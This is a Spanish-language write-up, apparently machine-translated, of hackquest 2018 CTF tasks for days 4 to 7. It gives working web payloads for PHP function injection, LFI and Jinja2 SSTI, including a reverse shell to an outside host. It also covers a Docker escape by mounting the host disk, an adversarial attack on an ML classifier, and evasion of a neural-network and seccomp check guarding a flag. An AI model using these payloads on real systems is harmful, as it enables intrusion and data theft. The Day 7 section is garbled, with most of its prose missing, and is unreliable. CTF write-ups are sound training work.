Según lo prometido, publicaremos la segunda parte de las decisiones anuales de hackquest. Día 4-7: ¡aumenta la tensión y las tareas son más interesantes!

Contenido:

Día 4. Imagehub
Esta tarea fue preparada por
SPbCTF .
Nuestra nueva creación matará a Instagram. Te convenceremos en solo dos palabras:
1. Filtros Nuevos filtros nunca antes vistos para sus imágenes cargadas.
2. Almacenamiento en caché. El servidor HTTP personalizado garantiza que los archivos de imagen lleguen al caché del navegador.
Pruébalo ahora mismo! imagehub.spb.ctf.su
Corre / get_the_flag para ganar.
Servidor personalizado binario: dppthConsejos25/10/2018 20:00
La tarea no se resolvió. 24 horas agregadas.
25/10/2018 17:00
Hay dos errores que conocemos. El primero te da las fuentes de la aplicación web, el segundo te da RCE.Resumen:
Ejecutable:
- ELF x86_64
- Implementa un servidor http simple
- Si el archivo solicitado tiene un bit ejecutable, se pasa a php-fpm
- El código implementa el almacenamiento en caché de etag personalizado
Elemento web:
- Tiene funcionalidad de carga de archivos. La imagen se puede modificar utilizando filtros predefinidos.
- Página de administración con Basic en /? Admin = show
Vulnerabilidad: lectura de código fuente
La funcionalidad de caché parece interesante, porque podemos hacer que el servidor controle el rango arbitrario del archivo (incluso el rango de 1 byte)
Etag = sprintf("%08x%08x%08x", file_mtime, hash, file_size);
Hash_function: def etag_hash(data): v16 = [0 for _ in range(16)] v16[0] = 0 v16[1] = 0x1DB71064 v16[2] = 0x3B6E20C8 v16[3] = 0x26D930AC v16[4] = 0x76DC4190 v16[5] = 0x6B6B51F4 v16[6] = 0x4DB26158 v16[7] = 0x5005713C v16[8] = 0xEDB88320 v16[9] = 0xF00F9344 v16[10] = 0xD6D6A3E8 v16[11] = 0xCB61B38C v16[12] = 0x9B64C2B0 v16[13] = 0x86D3D2D4 v16[14] = 0xA00AE278 v16[15] = 0xBDBDF21C hash = 0xffffffff for i in range(len(data)): v5 = ((hash >> 4) ^ v16[(hash ^ data[i]) & 0xF]) & 0xffffffff hash = ((v5 >> 4) ^ v16[v5 & 0xF ^ (data[i] >> 4)]) & 0xffffffff return (~hash) & 0xffffffff
Lamentablemente, etag se elimina para archivos ejecutables (* .php):
stat_0(v2, &stat_buf); if ( stat_buf.st_mode & S_IEXEC ) { setHeader(a2->respo, "cache-control", "no-store"); deleteHeade(a2->respo, "etag"); set_environment_info(a1); dup2(fd, 0); snprintf(s, 4096, "/usr/bin/php-cgi %s", a1->url);
Todavía hay una comprobación antes de la ejecución de la página, por lo que si adivinamos correctamente el valor etag (
if-none-match ), el servidor nos enviará una respuesta de estado
304 No modificado . Usando esto, podemos aplicar el código fuente de fuerza bruta byte a byte.
v11 = getHeader(&s.request, "if-modified-since"); if ( v11 ) { v3 = getHeader(&v14, "last-modified"); if ( !strcmp(v11, v3) ) send_status(304); } v12 = getHeader(&s.request, "if-none-match"); if ( v12 ) { v4 = getHeader(&v14, "etag"); if ( !strcmp(v12, v4) ) send_status(304); } exec_and_prepare_response_body(&s, &a2a);
Resumamos lo que tenemos de RE:
- La marca de tiempo se puede leer fácilmente desde el encabezado de respuesta de última modificación (cadena -> marca de tiempo).
- El rango permite tener una longitud de un byte (por lo que obtendremos hash solo por un byte)
- El hash se puede adivinar para un rango de 1 byte (256 valores posibles)
- El tamaño es fuerza bruta, pero necesitamos saber al menos un byte del archivo de destino.
- Como nos gustaría obtener la fuente de los archivos * .php, es una buena suposición que el archivo está comenzando con "<? Php".
El primer paso será obtener el tamaño, y el segundo es obtener el contenido real del archivo.
Con código multihilo alcancé la velocidad de ~ 1 char / sec, y volqué algunos archivos:
upload.php <?php require "includes/uploaderror.php"; require "includes/verify.php"; require "includes/filters.php"; class ImageUploader { const TARGET_DIR = "51a8ae2cab09c6b728919fe09af57ded/"; public function upload() { $result = verify_parameters(); if ($result !== true) { return $result; } $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]); $size = intval($_POST['size']); if (!move_uploaded_file($_FILES["imageFile"]["tmp_name"], $target_file)) { return UploadError::MOVE_ERROR; } $text = $_POST['text']; $filterImage = $_POST['filter']($size, $text); $imagick = new \Imagick(realpath($target_file)); $imagick->scaleimage($size, $size); $imagick->setImageOpacity(0.5); $imagick->compositeImage($filterImage, imagick::CHANNEL_ALPHA, 0, 0); header("Content-Type: image/jpeg"); echo $imagick->getImageBlob(); return true; } }
incluye / filtros.php <?php function make_text($image, $size, $text) { $draw = new ImagickDraw(); $draw->setFillColor('white'); $draw->setFontSize( 18 ); $image->annotateImage($draw, $size / 2 - 65, $size - 20, 0, $text); return $image; } function futut($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(127,127,127,127)' ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function incasinato($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(130,100,255,3)' ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function fertocht($size, $text) { $image = new Imagick(); $s = $size % 255; $pixel = new ImagickPixel( "rgba($s,$s,$s,127)" ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function jebeno($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(0,255,255,255)' ); $image->newImage($size, $size, $pixel); $iterator = $image->getPixelIterator(); $i = 0; foreach ($iterator as $row=>$pixels) { $i++; $j=0; foreach ( $pixels as $col=>$pixel ) { $j++; $color = $pixel->getColor(); $alpha = $pixel->getColor(true); $r = ($color['r']+$i*10) % 255; $g = ($color['g']-$j) % 255; $b = ($color['b']-($size-$j)) % 255; $a = ($alpha['a']) % 255; $pixel->setColor("rgba($r,$g,$b,$a)"); } $iterator->syncIterator(); } $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function kuthamanga($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(127,127,127,127)' ); $image->newImage($size, $size, $pixel); $iterator = $image->getPixelIterator(); $i = 0; foreach ($iterator as $row=>$pixels) { $i++; $j=0; foreach ( $pixels as $col=>$pixel ) { $j++; $color = $pixel->getColor(); $alpha = $pixel->getColor(true); $r = ($color['r']+$i) % 255; $g = ($color['g']-$j) % 255; $b = ($color['b']-$i) % 255; $a = ($alpha['a']+$j) % 255; $pixel->setColor("rgba($r,$g,$b,$a)"); } $iterator->syncIterator(); } $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; }
incluye / uploaderror.php <?php class UploadError { const POST_SUBMIT = 0; const IMAGE_NOT_FOUND = 1; const NOT_IMAGE = 2; const FILE_EXISTS = 3; const BIG_SIZE = 4; const INCORRECT_EXTENSION = 5; const INCORRECT_MIMETYPE = 6; const INVALID_PARAMS = 7; const INCORRECT_SIZE = 8; const MOVE_ERROR = 9; }
incluye / verificar.php <?php function verify_parameters() { if (!isset($_POST['submit'])) { return UploadError::POST_SUBMIT; } if (!isset($_FILES['imageFile'])) { return UploadError::IMAGE_NOT_FOUND; } $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]); $imageFileType = strtolower(pathinfo($_FILES["imageFile"]["name"], PATHINFO_EXTENSION)); $imageFileInfo = getimagesize($_FILES["imageFile"]["tmp_name"]); if($imageFileInfo === false) { return UploadError::NOT_IMAGE; } if ($_FILES["imageFile"]["size"] > 1024*32) { return UploadError::BIG_SIZE; } if (!in_array($imageFileType, ['jpg'])) { return UploadError::INCORRECT_EXTENSION; } $imageMimeType = $imageFileInfo['mime']; if ($imageMimeType !== 'image/jpeg') { return UploadError::INCORRECT_MIMETYPE; } if (file_exists($target_file)) { return UploadError::FILE_EXISTS; } if (!isset($_POST['filter']) || !isset($_POST['size']) || !isset($_POST['text'])) { return UploadError::INVALID_PARAMS; } $size = intval($_POST['size']); if (($size <= 0) || ($size > 512)) { return UploadError::INCORRECT_SIZE; } return true; }
Esto nos da:
- Nombre de usuario / contraseña para Admin Basic. Completamente inútil, solo imprime cadena:
Congratz Ahora puedes leer las fuentes. Ir más profundo - Inyección de funciones (FI) en la entrada ' filtro '.
- La validación de carga de imágenes ahora está clara para nosotros.
- Se utiliza la biblioteca ImageMagic. Asumir que se usa para explotar es un punto muerto. No creo que haya ninguna forma de explotarlo sin depender de FI.
Vulnerabilidad: Inyección de funciones
El archivo
upload.php tiene un código sospechoso:
$filterImage = $_POST['filter']($size, $text);
Podemos simplificarlo a:
$filterImage = $_GET['filter'](intval($_GET['size']), $_GET['text']);
En realidad, puede detectar esta vulnerabilidad simplemente haciendo algo de fuzzing. Enviar nombres de funciones como "
var_dump " o "
debug_zval_dump " en la entrada '
filter ' dará como resultado respuestas interesantes del servidor.
int(51) string(10) "jsdksjdksds"</code> So, its not hard to guess how server side code looks like. If we had an write permission to www root, than we could just use two functions: <code>file_put_contents(0, "<?php system($_GET[a]);") chmod(0, 777)
Pero no es nuestro caso. Hay al menos dos formas de resolver la tarea.
vector filter_input_array (solución no deseada): vector RCE
Mientras pensaba en posibles formas de obtener RCE, noté que la
function filter_input_array
nos da un control bastante bueno sobre la
$filterImage variable
.
Pasar la
matriz de filtro como segundo argumento permitirá construir una matriz arbitraria en el resultado de la función.
Pero ImageMagic no espera obtener nada además de la clase Imagick. :(
Puede ser que podamos deserializar la clase de la entrada? Busquemos argumentos de filtro adicionales en la
descripción de filter_input_array .
No se menciona en la página de funciones en sí, pero en realidad podemos pasar una
devolución de llamada para la validación de entrada . ¡El ejemplo FILTER_CALLBACK es para
filter_input
, pero también funciona para
filter_input_array
!
Esto significa que podemos "validar" entradas de usuario personalizadas utilizando la función con un argumento (eval? System?), Y tenemos control sobre el argumento.
FILTER_CALLBACK = 1024
Ejemplo para obtener RCE:
GET: a=/get_the_flag POST: filter=filter_input_array size=1 text[a][filter]=1024 text[a][options]=system submit=1
Respuesta:
*** Wooooohooo! *** Congratulations! Your flag is: 1m_t3h_R34L_binaeb_g1mme_my_71ck37 -- SPbCTF (vk.com/spbctf)
Línea
buscada :
1m_t3h_R34L_binaeb_g1mme_my_71ck37Definitivamente algo se sentía mal, porque ¿por qué necesitaríamos obtener el código fuente? ¿Solo por una pista? ¿Por qué los archivos cargados se almacenaron en el disco? ¿No es más conveniente no almacenar archivos basura de los usuarios del desafío?
La coincidencia en la denominación
filter =
filter _input_array, text [a] [
filter ] me dio la confianza de que todo se hizo como se esperaba ("
filtros nunca antes vistos", marque ✓).
vector spl_autoload: vector LFI
Después de enviar la solución, uno de los autores del desafío se puso en contacto conmigo y me dijo que mi vector no estaba destinado y que se puede usar otra función (
spl_autoload
):
No es obvio cómo podemos usar esta función porque se supone que debe cargar una clase "<class_name>" del archivo llamado "<class_name> <some_extension>". La firma es la siguiente:
void spl_autoload ( string $class_name [, string $file_extensions = spl_autoload_extensions() ] )
Nuestro primer argumento solo puede ser un número (1-512), por lo que el
nombre de la
clase es un ... ¿número? ... raro.
El argumento de
extensión también parece inutilizable, los archivos controlados son un nivel más profundos que
upload.php (necesitamos pasar un prefijo).
Esta función realmente puede darnos un LFI si se usa de esta manera:
spl_autoload(51, "a8ae2cab09c6b728919fe09af57ded/1.jpg") = include("51a8ae2cab09c6b728919fe09af57ded/1.jpg")
El nombre del directorio se adquiere del código fuente filtrado. Y tuvimos suerte, porque si el primer carácter del nombre fuera algo más que número -> no podríamos incluir archivos desde allí.
Entonces ... todo lo que necesitamos ahora es pasar un "tipo de validez" (
getimagesize debe aceptarlo)
* .jpg archivo con código php modificado. Se adjunta un ejemplo simple (carga útil php en exif).
Suba como
1111.jpg y haga:
OBTENER
a = / get_the_flag
POST:
filter = spl_autoload
tamaño = 51
text = a8ae2cab09c6b728919fe09af57ded / 1111.jpg
enviar = 1
Respuesta:
... .JFIF ... Exif MM * . " (. . .i . . D . D .. V ..
*** Wooooohooo! ***
Congratulations! Your flag is:
1m_t3h_R34L_binaeb_g1mme_my_71ck37
-- SPbCTF (vk.com/spbctf)
Línea
buscada :
1m_t3h_R34L_binaeb_g1mme_my_71ck37La carga y LFI se pueden hacer en una sola solicitud.

Día 5. Tiempo
Esta tarea fue preparada por el
equipo de seguridad digitalLo primero que necesitas es dominar el tiempo, el segundo es ir más allá del mundo pequeño. Después de eso, obtendrás un arma contra el nivel final del jefe. Buena suerte
51.15.75.80
Consejos27/10/2018 16:00
Oh, ¿cuántos dispositivos en una caja ... son realmente útiles?
27/10/2018 14:35
Si pudo hacer frente al filtro en el panel de tiempo, puede utilizar las capacidades de un sistema completo. No seas tímido
27/10/2018 14:25
Comprueba el host virtual y no te detengas en 200
26/10/2018 19:25
La tarea no se resolvió. 24 horas agregadas.
26/10/2018 17:35
Usa todas tus capacidades.
26/10/2018 12:25
No necesita ningún software forense para completar ninguna etapa de una tarea.1) Wordpress
Inicialmente, nos dieron la dirección
51.15.75.80 .
Ejecutamos hehdirb: vemos el directorio / wordpress /. Vaya inmediatamente al panel de
administración en
admin: admin .
En el panel de administración, vemos que no hay privilegios para cambiar las plantillas, por lo que no puede obtener RCE. Sin embargo, hay una publicación oculta:
25/09/2018 POR ADMINISTRADOR
Privado: notas sobre el panel de tiempo
inicio de sesión: cristopher
contraseña: L2tAPJReLbNSn085lTvRNj
host: timepanel.zn2) SSTI
Obviamente, debe ir al mismo servidor especificando el host virtual
timepanel.zn.Iniciamos hehdirb en este host: vemos el directorio / adm_auth, vamos con el nombre de usuario y la contraseña que se proporcionan arriba. Vemos el formulario en el que debe ingresar las fechas ("desde" y "hasta") para obtener información. Al mismo tiempo, vemos un comentario en el código HTML de respuesta donde se reflejan las mismas fechas:
<!- start time: 2018-10-25 20:00:00, finish time:2018-10-26 20:00:00 ->
Obviamente, el error aquí probablemente debería estar relacionado con esta reflexión, y es poco probable que sea XSS, así que intente SSTI:
start=2018-10-25+20%3A00%3A00{{ 1 * 0 }}&finish=2018-10-26+20%3A00%3A00
La respuesta es:
<!- start time: 2018-10-25 20:00:000, finish time:2018-10-26 20:00:00 ->
Al enviar {{self}}, {{'a' * 5}}, nos damos cuenta de que se trata de
Jinja2 , pero los vectores estándar no funcionan. Al enviar vectores sin {{corchetes}}, vemos que la respuesta no refleja los caracteres "_" y algunas palabras, por ejemplo, "clase". Este filtro se omite fácilmente mediante el uso de request.args y la construcción | attr (), así como la codificación de algunos bytes con una secuencia de escape.
Consulta final para backconnectPOST /adm_main?sc=from+subprocess+import+check_output%0aRUNCMD+%3d+check_output&cmd=bash+-c+'bash+-i+>/dev/tcp/deteact.com/8000+<%261' HTTP/1.1
Host: timepanel.zn
Content-Type: application/x-www-form-urlencoded
Content-Length: 616
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.DrOOLQ.ROX16sOUD_7v5Ct-dV5lywHj0YM
start={{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f')|attr('\x5f\x5f\x6dro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(2)|attr('\x5f\x5fsubcl\x61sses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/var/tmp/BECHED.cfg','w')|attr('write')(request.args.sc) }}
{{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f')|attr('\x5f\x5f\x6dro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(2)|attr('\x5f\x5fsubcl\x61sses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/var/tmp/BECHED.cfg')|attr('read')() }}
{{ config|attr('from\x5fpyfile')('/var/tmp/BECHED.cfg') }}
{{ config['RUNCMD'](request.args.cmd,shell=True) }}
&finish=2018-10-26+20%3A00%3A00
3) LPE
Habiendo recibido RCE, entendemos que necesita elevar los privilegios a root. Hay varias rutas falsas (/ usr / bin / special, /opt/privesc.py y algunas más) que no quiero describir, ya que solo toman tiempo. También hay un binar / usr / bin / zero, que no tiene un bit suid, pero resulta que puede leer cualquier archivo (solo envíele la ruta codificada en hexadecimal en stdin).
El motivo son las capacidades (/ usr / bin / zero = cap_dac_read_search + ep).
Leemos la sombra, configuramos el hash para que se cepille, pero mientras está cepillado, creemos que necesitamos leer el archivo de otro usuario que está en el sistema:
$ echo /home/cristopher/.bash_history | xxd -p | zero
Puedo leer algo para ti
su
Dpyax4TkuEVVsgQNz6GUQX4) Docker escape / Forense
Entonces, tenemos una raíz. Pero este no es el final. Ponemos
apt install extundelete y encontramos varios archivos más interesantes en el sistema de archivos que están relacionados con la siguiente etapa:
Para obtener un ticket, debe cambiar una imagen para que se identifique como "1". Tienes un modelo y una imagen. curl -X POST -F image=@ZeroSource.bmp 'http://51.15.100.188 {6491 / predic'.Entonces, ahora nos enfrentamos a la tarea estándar de generar un ejemplo competitivo para el modelo de aprendizaje automático. Sin embargo, en esta etapa todavía no podía obtener todos los archivos que necesitaba. Fue posible hacer esto solo poniendo el agente R-Studio en el servidor y abordando el análisis forense remoto. Casi habiendo sacado lo que necesitaba, descubrí que, de hecho, el contenedor de Docker se ejecuta en un modo que le permite montar todo el disco
Hacemos mount / dev / vda1 / root / kek y obtenemos acceso al sistema de archivos host, y al mismo tiempo acceso root a todo el servidor (ya que podemos poner nuestra propia clave ssh). Sacamos KerasModel.h5, ZeroSource.bmp.
5) ML Adversario
La imagen muestra inmediatamente que la red neuronal está entrenada en el conjunto de datos MNIST. Cuando intentamos enviar una imagen arbitraria al servidor, obtenemos la respuesta de que las imágenes difieren demasiado. Esto significa que el servidor mide la distancia entre los vectores, porque quiere exactamente un ejemplo de confrontación, y no solo una imagen con la imagen "1".
Intentamos el primer ataque que obtenemos de foolbox: obtenemos el vector de ataque, pero el servidor no lo acepta (la distancia es demasiado grande). Luego me adentré en la naturaleza, comenzando a rehacer las implementaciones de One Pixel Attack bajo MNIST, y nada funcionó, ya que este ataque usa el algoritmo de evolución diferencial, no es gradiente e intenta encontrar el mínimo estocástico, guiado por cambios en el vector de probabilidad. Pero el vector de probabilidades no cambió, ya que la red neuronal era demasiado segura.
Al final, tuve que recordar sobre la pista que estaba en el archivo de texto original en el servidor - "(Normilize ^ _ ^)". Después de una cuidadosa normalización, fue posible llevar a cabo el ataque de manera efectiva utilizando el algoritmo de optimización L-BFGS, a continuación se muestra el exploit final:
import foolbox import keras import numpy as np import os from foolbox.attacks import LBFGSAttack from foolbox.criteria import TargetClassProbability from keras.models import load_model from PIL import Image image = Image.open('./ZeroSource.bmp') image = np.asarray(image, dtype=np.float32) / 255 image = np.resize(image, (28, 28, 1)) kmodel = load_model('KerasModel.h5') fmodel = foolbox.models.KerasModel(kmodel, bounds=(0, 1)) adversarial = image[:, :] try: attack = LBFGSAttack(model=fmodel, criterion=TargetClassProbability(1, p=.5)) adversarial = attack(image[:, :], label=0) except: print 'FAIL' quit() print kmodel.predict_proba(adversarial.reshape(1, 28, 28, 1)) adversarial = np.array(adversarial * 255, dtype='uint8') im = Image.open('ZeroSource.bmp') for x in xrange(28): for y in xrange(28): im.putpixel((y, x), int(adversarial[x][y][0])) im.save('ZeroSourcead1.bmp') os.system("curl -X POST -F image=@ZeroSourcead1.bmp 'http://51.15.100.188:36491/predict'")
Línea
buscada :
H3y_Y0u'v_g01_4_n1c3_t1cket
Día 6. Impresionante vm
Esta tarea fue preparada por el equipo de la
escuela CTF .
¡Mira un nuevo servicio de capacitación! zn.sibears.ru:8000
En este momento queremos involucrarte en una prueba beta de una nueva máquina virtual creada especialmente para probar las habilidades de programación de nuestros novatos. Hemos agregado protección intelectual contra las trampas y ahora queremos verificar todo antes de ofrecer el platfotm. La VM le permite ejecutar programas simples ... ¿o no solo?
goo.gl/iKRTrHConsejos27/10/2018 16:20
¿Quizás puedas engañar o evitar el sistema de IA?Descripción:

El servicio es un sistema de validación para archivos con la extensión .cmpld aceptada por el intérprete sibVM. La tarea que debe resolver el programa enviado es calcular la suma de los números que figuran en el archivo input.txt, algo que recuerda a una competencia acm. Además, la descripción de la interfaz web indica que los programas enviados se verificarán utilizando inteligencia artificial.
El servicio consta de dos contenedores Docker:
web-docker y
prod_inter .
web-docker no
es particularmente interesante para el análisis. Todo lo que hace es traducir el archivo enviado al contenedor prod_inter, dentro del cual sucede todo lo más interesante. El fragmento de código correspondiente se presenta a continuación:

En el contenedor
prod_inter , el archivo enviado se verifica y ejecuta en los datos de prueba. Para cada envío, se crea un nuevo directorio en / tmp / al azar, donde el archivo enviado se guarda con un nombre aleatorio. El archivo flag.txt también se coloca en el directorio creado, que probablemente sea nuestro objetivo.
Entonces comienza la parte divertida: si el archivo es mayor que 8192 bytes, entonces el archivo de entrada del programa se verifica utilizando inteligencia artificial. La IA es una red neuronal ultraprecisa previamente entrenada. Si la prueba fue exitosa (los datos de entrada son más de 8192 bytes, y la red neuronal los asignó a la primera clase), el programa se ejecuta en cinco pruebas diferentes, y el resultado se envía en un mensaje de respuesta y se muestra al usuario.
Si el tamaño de los datos de entrada es inferior a 8192 bytes, o no pasaron la prueba por la red neuronal, antes de probar el programa verifica la presencia de la subcadena flag.txt y si intenta abrir un archivo con el mismo nombre. El acceso al archivo flag.txt se supervisa ejecutando el programa en el
entorno limitado de
secfilter , basado en tecnologías
SECCOMP , y analizando el registro de ejecución. A continuación se muestra el código de servicio correspondiente y un ejemplo de un registro al intentar abrir un archivo prohibido:


Para resolver esta tarea, generé un conjunto de programas para el intérprete sibVM que abren el archivo flag.txt y muestran el valor numérico del i-ésimo byte del archivo. Al mismo tiempo, cada programa pasa con éxito la prueba de IA. A continuación, se presentará un análisis de superficie de la red neuronal y una descripción del funcionamiento de la máquina virtual.
Análisis de redes neuronales.
El modelo de red neuronal entrenado está contenido en el archivo cnn_model.h5. La siguiente es información general sobre la arquitectura de red.

No sabemos qué reconoce exactamente la red neuronal, por lo que trataremos de proporcionarle varios datos. De la arquitectura de la red está claro que en la entrada recibe una imagen de un solo canal de tamaño 100X100. Para evitar el efecto de escala en el resultado, utilizaremos secuencias de 10,000 bytes convertidos en una imagen usando las funciones utilizadas en el servicio. A continuación se muestran los resultados de la operación de una red neuronal en varios datos:

Según los resultados, se puede suponer que la red neuronal recibirá imágenes con un predominio de colores negros (cero bytes). Lo más probable es que escribir un programa que lea caracteres de bandera requerirá significativamente menos de 1000 bytes significativos (el resto puede llenarse con ceros), y luego la IA aceptará el programa enviado.
En consecuencia, para resolver la tarea, queda por escribir el programa deseado.
Intérprete SibVM
Estructura del programaEl primer paso es comprender la estructura del archivo del programa. Durante el reverso del intérprete, resultó que el programa debería comenzar con un determinado encabezado con varios campos de servicio, seguido de un conjunto de entidades con identificadores, entre los cuales debería haber una entidad principal de tipo Función.
Comprobación de encabezado de archivo Procesando registros y lanzando la función principal El resultado es el siguiente formato de archivo de entrada:

Tipos de datos
El intérprete admite varios tipos de entidades. A continuación se muestra una tabla y sus identificadores, que en el futuro serán necesarios para construir el programa.

Construyendo un programa para el intérprete
Como se mencionó anteriormente, el programa debe tener una entrada principal con el tipo Función (5). Tiene el siguiente formato:

No fue difícil averiguar el ciclo principal de ejecución del programa.
Ciclo de ejecución principal La función
decode_opcode
recupera información sobre la próxima operación del código del programa. Los primeros dos bytes de cada operación contienen el código de operación, el número de argumentos y su tipo. Los siguientes bytes (según el tipo y la cantidad de argumentos) se interpretarán como argumentos de la operación.
El formato de los dos primeros bytes de la operación:

A continuación, revisaremos algunas instrucciones que nos ayudarán a extraer la bandera del sistema.
Gráfico del intérprete de comandos, función execute_opcode - Opcode 0: abre el archivo (el nombre de archivo se especifica mediante el argumento de operación y es de tipo String) y coloca su contenido en la parte superior de la pila como un objeto de tipo
ByteArray
. - Opcode 2: muestra el valor almacenado en la parte superior de la pila. Desafortunadamente, esta operación no mostrará el valor de un objeto de tipo
ByteArray
. Para resolver este problema, puede obtener el elemento i-ésimo de la matriz y mostrarlo.
Procesando el código de operación 2 - Opcode 13: tomar un elemento de una matriz por índice. La matriz y el índice de elementos se extraen de la pila, el resultado se inserta en la pila. En consecuencia, para compilar un programa de trabajo, es necesario colocar el índice en la pila.
- Opcode 7: inserta el argumento de la operación en la pila.
Como resultado, el programa consta de solo 4 operaciones:


Línea
buscada :
bandera {76f98c7f11582d73303a4122fd04e48cba5498}
Día 7. Recurso oculto
Esta tarea fue preparada por
RuCTF .
Dado el servicio n24.elf . Simplemente autorice en 95.216.185.52 y obtenga su bandera.Consejos
28/10/2018 20:00La tarea no se resolvió. 24 horas agregadas.La encuesta del servidor para el acceso utilizando protocolos de conexión estándar mostró el acceso a través de SSH (puerto 22). El archivo proporcionado es un ejecutable ELF (que fue sutilmente insinuado por la extensión en el nombre) para Linux.
El uso de la utilidad de cadenas mostró la presencia de las líneas "/home/task/.ssh" y "/home/task/.ssh/authorized_keys". Conclusión sobre la posibilidad de acceso al archivo de clave de autorización sin contraseña SSH desde el archivo ejecutable ELF (en lo sucesivo denominado el servicio).
La tabla de símbolos contiene las funciones necesarias para abrir archivos y escribir:
La tabla de símbolos también contiene funciones para trabajar con sockets, para crear procesos y para contar MD5.
El reverso del archivo mostró la presencia de una gran cantidad de saltos (algún tipo de ofuscación). Al mismo tiempo, se realizan saltos entre bloques de código, que en general se pueden dividir en varios tipos:
- « OF », ( objdump):
95b69b: 48 0f 44 c7 cmove rax,rdi 95b69f: 48 83 e7 01 and rdi,0x1 95b6a3: 4d 31 dc xor r12,r11 95b6a6: 71 05 jno 95b6ad <MD5_Final@@Base+0x2d83f9> 95b6a8: e9 f4 bf e1 ff jmp 7776a1 <MD5_Final@@Base+0xf43ed> 95b6ad: e9 1f 1a de ff jmp 73d0d1 <MD5_Final@@Base+0xb9e1d>
, OF «xor», «and» . - , . . , :
95b401: c7 04 25 2b b4 95 00 mov DWORD PTR ds:0x95b42b,0x34be74 95b408: 74 be 34 00 95b40c: 66 c7 04 25 01 b4 95 mov WORD PTR ds:0x95b401,0x13eb 95b413: 00 eb 13 95b416: 4c 0f 44 da cmove r11,rdx 95b41a: 48 d1 ea shr rdx,1 95b41d: 48 0f 44 ca cmove rcx,rdx 95b421: 49 89 d3 mov r11,rdx 95b424: 48 89 ca mov rdx,rcx 95b427: 4c 89 da mov rdx,r11 95b42a: e9 8d ad e7 00 jmp 17d61bc
- , .
MD5. , . «
MD5_Init », «
MD5_Update » «
MD5_final ».
, API . , , , , . .
ELF . «/home/task/.ssh/» .
. , , , . . Netstat 5432 (UDP).
(4 ) :
.
– gdb. , , recvfrom backtrace. 0x6ae010.
6ae00b: e8 d0 2b d5 ff call 400be0 <recvfrom@plt> 6ae010: e9 64 bc ea ff jmp 559c79 <MD5_Update@@Base+0x953fc> 559c79: 89 45 80 mov DWORD PTR [rbp-0x80],eax 559c7c: 83 f8 ff cmp eax,0xffffffff
0x810758 .
break 0xb01902, .
( rax)(gdb) b *0xb01902
Breakpoint 2 at 0xb01902
(gdb) c
Continuing.
Verifying 74657374
00f82488
Breakpoint 2, 0x0000000000b01902 in MD5_Init ()
(gdb) info reg rax
rax 0x0 0
0 . , , 0.
gdb,
MD5_Update ( «test»).
Resultado (gdb) b MD5_Update Breakpoint 3 at 0x4c487d (2 locations) (gdb) c Continuing. Verifying 74657374 Breakpoint 3, 0x00000000004c487d in MD5_Update () (gdb) info reg rsi rsi 0x7fffffffdd90 140737488346512 (gdb) x/20bx $rsi 0x7fffffffdd90: 0x74 0x65 0x73 0x74 0x0a 0xff 0x7f 0x00 0x7fffffffdd98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fffffffdda0: 0x00 0x00 0x00 0x00 (gdb) info reg $rdx rdx 0x200 512
Resultado
MD5 , 512 . , , MD5 512 . 8 , 8 , . , - . 4 3 MD5- .
0x810758 0. RAX. 2 0x810758 0x827326.
, 0x810758. gdb :
import gdb with open("flow.log", "w") as fw: while 1: s = gdb.execute("info reg rip", to_string=True) s = s[s.find("0x"):] gdb.execute("ni", to_string=True) address = s.split("\t")[0].strip() fw.write(address + "\r\n") address = int(address, 16) if address == 0x827326: break
flow.log . , , .
«
disasm.log » objdmp «
: » .
F_NAME = "disasm.log" F_FLOW = "flow.log" def prepare_code_flow(f_path): with open(f_path, "rb") as fr: data = fr.readlines() data = filter(lambda x: x, data) start_address = long(data[0].split(":")[0], 16) end_address = long(data[-1].split(":")[0], 16) res = [""] * (end_address - start_address + 1) for _d in data: _d = _d.split(":") res[long(_d[0].strip(), 16) - start_address] = "".join(_d[1:]).strip() return start_address, res def parse_instruction(code): mnem = code[:7].strip() ops = code[7:].split(",") return [mnem] + ops def process_instruction(code): parse_data = parse_instruction(code) if parse_data[1] in ["rax", "eax", "al"]: return True return False if __name__ == '__main__':
«» , RAX. Resultado:
0x67c27c mov DWORD PTR [rbp-0x14], 0x0
. - ( «
flow.log »):
95b6ad: jmp 73d0d1 <MD5_Final@@Base+0xb9e1d> 95b6b2: cmp DWORD PTR [rbp-0x2d4],0x133337 95b6bc: jne 67c270 <MD5_Update@@Base+0x1b79f3>
0x95b6b2 – 0x133337. , , [rbp-0x2d4]. «testtest»:
# echo -n "testtest" > md5.bin # truncate -s 512 md5.bin # md5sum md5.bin e9b9de230bdc85f3e929b0d2495d0323 md5.bin # echo -n "testtest" > /dev/udp/127.0.0.1/5432 (gdb) b *0x95b6b2 Breakpoint 6 at 0x95b6b2 (gdb) c Continuing. Verifying 74657374 00deb9e9 Breakpoint 6, 0x000000000095b6b2 in MD5_Final () (gdb) x/20bx $rbp-0x2d4 0x7fffffffdd7c: 0xe9 0xb9 0xde 0x00 0xe9 0xb9 0xde 0x23 0x7fffffffdd84: 0x0b 0xdc 0x85 0xf3 0xe9 0x29 0xb0 0xd2 0x7fffffffdd8c: 0x49 0x5d 0x03 0x23
3 MD5-. MD5- 3 «\x37\x33\x13».
MD5 . . :
New salt 508bd11b Next port 14235 Binding 14235 Waiting for data...3 14235 0
Netstat , . ps (). , .
5432, 14235. . . , , MD5 . , . MD5, 14235. , MD5. , .
